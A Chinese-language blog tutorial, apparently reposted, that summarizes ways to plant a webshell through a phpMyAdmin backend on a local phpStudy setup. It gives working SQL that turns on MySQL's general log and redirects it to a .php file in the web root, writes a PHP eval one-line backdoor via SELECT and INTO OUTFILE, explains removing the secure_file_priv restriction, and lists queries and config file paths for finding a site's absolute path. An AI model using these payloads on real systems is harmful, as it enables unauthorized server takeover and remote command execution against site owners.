前言:

phpmyadmin后台拿webshell的方法主要分为两个方法:

(1) 、通过日志文件拿webshell;

(2) 、利用日志文件写入一句话;(这个方法可能在实际操作中会遇到困难);

本地搭建环境:

Phpmystudy 2018

PHP--5.5.38

一、日志文件写入一句话来获取webshell:

(1) 、首先我们先利用日志文件写入一句话来获取webshell,日志文件写入的思路利用mysql的一个日志文件。我们执行的每一个sql语句都会被保存到日志中,换个思路想一下把这个日志文件重名为*.php,然后我们在执行一次sql语句,那么就会被保存在这个*.php文件中,这样我们就能顺利拿到webshell。

(2) 、假如通过某个方法获取到phpmyadmin的登陆后台且账号密码是弱口令:

(3)、点击变量选项,搜索gen就会出来general.log和general log file这两个变量,general.log变量是指是否启动记录日志;而general log file指的是日志文件的路径,可以看到general.log变量的状态为OFF,故我们要修改为ON;general log file变量中的*.log的后缀我们改为*php。拿完webshell记得要改回去哟。

SQL语句进行修改:

SET global general_log = "ON"; 日志保存状态开启;
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php'; 修改日志的保存位置。

(具体路径还需在实际环境中改变);

修改后的配置

(4)保存后,我们在SQL查询的框中写入

select "<?php eval($_POST['cmd']);?>";
或着
SELECT '<?phpassert($_POST["cmd"]);?>';

执行完毕后就会出现这个界面,这样的话我们就成功的把一句话写入到日志文件中:

(5)、查看网站目录下生成了一个shell.php的文件,一句话木马已经被我们写入,看到这里大家可能会问为什么里面不是纯净的一句话木马?我也百思不得其解,百度了一下发现是我们是上传的php一句话木马,在连接过程中,它是从头开始读取的,因为前面的不具备php文件的特征:

(6)、浏览器测试

用菜刀直接连接木马地址,webshell成功拿到:

http://127.0.0.1/shell.php​

webshell已经拿到

二、利用插入一句话来提取webshell:

1、在知道路径的前提下插入一句话,

我们在插入一句话木马的时候首先要检测插入的条件是否被允许,输入查询语句

show global variables like '%secure%';

显示是NULL值,这样的情况下我们插入一句话是无法插入的,需要我们修改secure_file_priv=’’为空值才能插入一句话:

解释一下:

  • secure_file_priv为null 表示不允许导入导出;
  • secure_file_priv指定文件夹时,表示mysql的导入导出只能在指定的文件夹;
  • secure_file_priv没有设置时,则表示没有任何限制;

当secure_file_priv为null 时,执行插入语句,发现无法插入一句话木马:

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';

意思是Mysql服务器运行“--secure-file-priv”选项,所以不能执行这个语句。

如果要解决这个问题,我们可以通过下面2种方式:将你要导入或导出的文件位置指定到你设置的路径里;由于不能在网页上修改,所以我们只能修改my.cnf里关于这个选项的配置,然后重启即可。(windwos下my.cnf叫my.ini)我的在E:\phpStudy\PHPTutorial\MySQL路径下

把--secure-file-priv修改为'' 没有这个则添加。

(1)、当我们把上面的障碍扫平之后,接下来就比较简单,我们可以这样写:

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';

意思就是在目录下会生成一个shell.php的文件,我们用菜刀直接连接这个文件地址就可以直接拿到webshell:

(2)、我们用菜刀直接连接http://127.0.0.1/shell.php就可以成功拿到服务器webshell:

2、在不知道绝对路径的前提下拿webshell:

这个方法几乎和我们做灰盒测试差不多,只拿到了登陆后台,但是不知道网站的绝对路径,这就非常尴尬,下面我总结了一下几点可以成功爆出网站的根路径:

(1)、SQL查询框中输入select @@basedir;就可以成功的输出绝对路径,这是利用了mysql的特性;(这个比较常用,毕竟是mysql的特性)

select @@basedir;

(2)、直接在url后面输入phpinfo.php,看看能不能读出这个文件,如果存在就会把网站的绝对路径显示出来,这样的情况特少,因为网站管理人员不可能把这个测试页面在互联网上面直接显示出来,他们或许会更改路径或许会设置目录访问权限;

(3)、使用扫描工具对网站进行扫扫描;扫描一些phpinfo.php info.php php.php test.php等等;

(4)、phpmyadmin读取 iis6,iis7配置文件 读取apache Nginx 配置文件!

  • windows2003 iis6配置文件所在位置          C:\Windows/system32\inetsrv\metabase.xml
  • win2008/2012 iis7.5 在这个文件       C:\Windows\System32\inetsrv\config\applicationHost.config
  • Nginx配置          /etc/nginx/conf.d/vhost.conf     /etc/nginx/nginx.conf
  • apache配置        /etc/httpd/conf/httpd.conf         /usr/local/apache2/conf/httpd.conf

总结

1、利用日志写shell

SET global general_log = "ON"; 日志保存状态开启;
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php'; 修改日志保存的位置
SELECT "<?php eval($_POST['cmd']);?>";

2、利用 select XXX into outfile 绝对路径写shell(需要secure_file_priv='')

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';

3、查找绝对路径

select @@basedir;

PhpMyadmin后台拿webshell方法总结的更多相关文章

  1. 在phpmyadmin后台获取webshell方法汇总整理

    方法一: CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma ...

  2. 后台拿webshell方法(2)

    在这里总结一下后台拿webshell的方法: 备份突破(在博客上有随笔介绍) 一般在后台上传文件类型受到限制,可以利用数据库备份将其上传的格式改为后门执行格式即可: asp更改为jpg     jpg ...

  3. phpmyadmin后台拿shell方法总结

    方法一: CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma ...

  4. KesionCMS V6.5后台拿SHELL方法

    Title:KesionCMS V6.5后台拿SHELL方法  --2011-03-29 00:21 最近弄一个站点,是KesionCMS V6.5的WEB系统,试了下后台拿webshell方法,记下 ...

  5. 获取Webshell方法总结

    一.CMS获取Webshell方法 搜索CMS网站程序名称 eg:phpcms拿webshell.wordpress后台拿webshell 二.非CMS获取Webshell方法 2.1数据库备份获取W ...

  6. Java类WebServer及中间件拿webshell方法总结

    0.序 原文名称:Tomcat.Weblogic.JBoss.GlassFish.Resin.Websphere弱口令及拿webshell方法总结 原文from:http://www.hack80.c ...

  7. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  8. JQuery EasyUI弹出对话框解决Asp.net服务器控件无法执行后台代码的方法(转)

    原文:JQuery EasyUI弹出对话框解决Asp.net服务器控件无法执行后台代码的方法 jquery-easyui是一个基于jquery的图形界面插件,利用easyui可以创建很多好看的网页界面 ...

  9. iOS设备后台播放音乐方法

    iOS设备后台播放音乐方法 1 在设置Capabliites中打开Background Modes,选择Audio And AirPlay 2 在控制viewDidLoad中添加下面代码 AVAudi ...

随机推荐

  1. 申请免费的ssl通配符证书

    吐曹: 为了给我网站配置免费的htpps证书费死劲了, 折腾了一天, 找阿里阿里给我反馈的和我自己看的一样, 没什么用 我用Certbot生成证书以后怎么访问都是阿里的免费的hppts证书, 我都把阿 ...

  2. 如何在Kubernetes 里添加自定义的 API 对象(一)

    环境: golang 1.15 依赖包采用go module 实例:现在往 Kubernetes 添加一个名叫 Network 的 API 资源类型.它的作用是,一旦用户创建一个 Network 对象 ...

  3. 基于FMC接口的Kintex-7 XC7K325T PCIeX4 3U PXIe接口卡

    一.板卡概述 本板卡基于Xilinx公司的FPGAXC7K325T-2FFG900 芯片,pin_to_pin兼容FPGAXC7K410T-2FFG900 ,支持PCIeX8.64bit DDR3容量 ...

  4. 通过Dapr实现一个简单的基于.net的微服务电商系统(二十)——Saga框架实现思路分享

    今天这篇博文的主要目的是分享一下我设计Saga的实现思路来抛砖引玉,其实Saga本身非常的类似于一个简单的工作流体系,相比工作流不一样的部分在于它没有工作流的复杂逻辑处理机制(比如会签),没有条件分支 ...

  5. 微信小程序常见两种登陆注册方式(一)

    普通登录注册以及用户授权登陆 普通登陆注册 概述 此功能的实现简单的借助了微信小程序的云开发,具体在哪里使用,我会标出来.对于用户名.账号.密码都做了简单的校验.主要练手功能的实现,样式只做了简单的编 ...

  6. mysql视图,索引

    一.视图 View 视图是一个虚拟表,是sql语句的查询结果,其内容由查询定义.同真实的表一样,视图包含一系列带有名称的列和行数据,在使用视图时动态生成.视图的数据变化会影响到基表,基表的数据变化也会 ...

  7. 云原生 PostgreSQL 集群 - PGO:来自 Crunchy Data 的 Postgres Operator

    使用 PGO 在 Kubernetes 上运行 Cloud Native PostgreSQL:来自 Crunchy Data 的 Postgres Operator! Cloud Native Po ...

  8. MySQL高级优化

    MySQL高级 1.索引是什么? (1)索引是排好序可以快速查找的数据结构 (2)方便快速查找,索引实际上也是一张表所以也是要占内存的 2.索引存在哪里? (1)InnoDB引擎 ①索引是和数据存放在 ...

  9. 『德不孤』Pytest框架 — 8、Pytest断言

    目录 1.什么是断言 2.Pytest断言 3.Pytest的断言方式及应用场景 (1)使用assert语句 (2)断言预期的异常 (3)拓展 4.优化断言 5.使用标记检查异常 1.什么是断言 对于 ...

  10. Seastar 教程(一)

    介绍 我们在本文档中介绍的Seastar是一个 C++ 库,用于在现代多核机器上编写高效的复杂服务器应用程序. 传统上,用于编写服务器应用程序的编程语言库和框架分为两个不同的阵营:专注于效率的阵营和专 ...